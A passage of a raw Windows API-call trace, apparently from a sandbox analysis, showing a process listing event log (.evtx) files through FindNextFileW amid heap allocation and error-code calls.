Flags=0x0, Size=0x80) returned 0x5b71f0 [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd0a8 [0122.004] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0122.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.004] GetLastError () returned 0x12 [0122.004] SetLastError (dwErrCode=0x12) [0122.004] GetLastError () returned 0x12 [0122.004] SetLastError (dwErrCode=0x12) [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0122.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.004] GetLastError () returned 0x12 [0122.004] SetLastError (dwErrCode=0x12) [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0122.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd168 [0122.004] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0122.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0122.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0122.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd188 [0122.005] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0122.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0122.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0122.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd1a8 [0122.005] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0122.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] GetLastError () returned 0x12 [0122.005] SetLastError (dwErrCode=0x12) [0122.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.006] GetLastError () returned 0x12 [0122.006] SetLastError (dwErrCode=0x12) [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5b5a90 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd248 [0122.006] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.006] GetLastError () returned 0x12 [0122.006] SetLastError (dwErrCode=0x12) [0122.006] GetLastError () returned 0x12 [0122.006] SetLastError (dwErrCode=0x12) [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.006] GetLastError () returned 0x12 [0122.006] SetLastError (dwErrCode=0x12) [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x5b5b28 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd2a8 [0122.006] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.006] GetLastError () returned 0x12 [0122.006] SetLastError (dwErrCode=0x12) [0122.006] GetLastError () returned 0x12 [0122.006] SetLastError (dwErrCode=0x12) [0122.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0122.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.007] GetLastError () returned 0x12 [0122.007] SetLastError (dwErrCode=0x12) [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0122.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd388 [0122.007] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0122.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.007] GetLastError () returned 0x12 [0122.007] SetLastError (dwErrCode=0x12) [0122.007] GetLastError () returned 0x12 [0122.007] SetLastError (dwErrCode=0x12) [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0122.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.007] GetLastError () returned 0x12 [0122.007] SetLastError (dwErrCode=0x12) [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b56e8 [0122.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56e8 | out: hHeap=0x570000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd268 [0122.007] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0122.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.007] GetLastError () returned 0x12 [0122.007] SetLastError (dwErrCode=0x12) [0122.007] GetLastError () returned 0x12 [0122.007] SetLastError (dwErrCode=0x12) [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0122.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.008] GetLastError () returned 0x12 [0122.008] SetLastError (dwErrCode=0x12) [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b59b8 [0122.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b59b8 | out: hHeap=0x570000) returned 1 [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b52b0 [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd2c8 [0122.008] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0122.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.008] GetLastError () returned 0x12 [0122.008] SetLastError (dwErrCode=0x12) [0122.008] GetLastError () returned 0x12 [0122.008] SetLastError (dwErrCode=0x12) [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0122.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.008] GetLastError () returned 0x12 [0122.008] SetLastError (dwErrCode=0x12) [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0122.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b56e8 [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd328 [0122.008] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0122.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.008] GetLastError () returned 0x12 [0122.008] SetLastError (dwErrCode=0x12) [0122.009] GetLastError () returned 0x12 [0122.009] SetLastError (dwErrCode=0x12) [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.009] GetLastError () returned 0x12 [0122.009] SetLastError (dwErrCode=0x12) [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b53a0 [0122.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53a0 | out: hHeap=0x570000) returned 1 [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5328 [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd048 [0122.009] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0122.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.009] GetLastError () returned 0x12 [0122.009] SetLastError (dwErrCode=0x12) [0122.009] GetLastError () returned 0x12 [0122.009] SetLastError (dwErrCode=0x12) [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0122.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.009] GetLastError () returned 0x12 [0122.009] SetLastError (dwErrCode=0x12) [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5580 [0122.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5580 | out: hHeap=0x570000) returned 1 [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5418 [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd348 [0122.009] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0122.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.009] GetLastError () returned 0x12 [0122.010] SetLastError (dwErrCode=0x12) [0122.010] GetLastError () returned 0x12 [0122.010] SetLastError (dwErrCode=0x12) [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0122.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.010] GetLastError () returned 0x12 [0122.010] SetLastError (dwErrCode=0x12) [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd3c8 [0122.010] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0122.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.010] GetLastError () returned 0x12 [0122.010] SetLastError (dwErrCode=0x12) [0122.010] GetLastError () returned 0x12 [0122.010] SetLastError (dwErrCode=0x12) [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0122.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.010] GetLastError () returned 0x12 [0122.010] SetLastError (dwErrCode=0x12) [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b53a0 [0122.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53a0 | out: hHeap=0x570000) returned 1 [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0122.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd3e8 [0122.010] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0122.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b55f8 [0122.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f8 | out: hHeap=0x570000) returned 1 [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd008 [0122.011] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0122.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0122.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0122.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5850 [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd028 [0122.011] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0122.011] HeapFree (in: 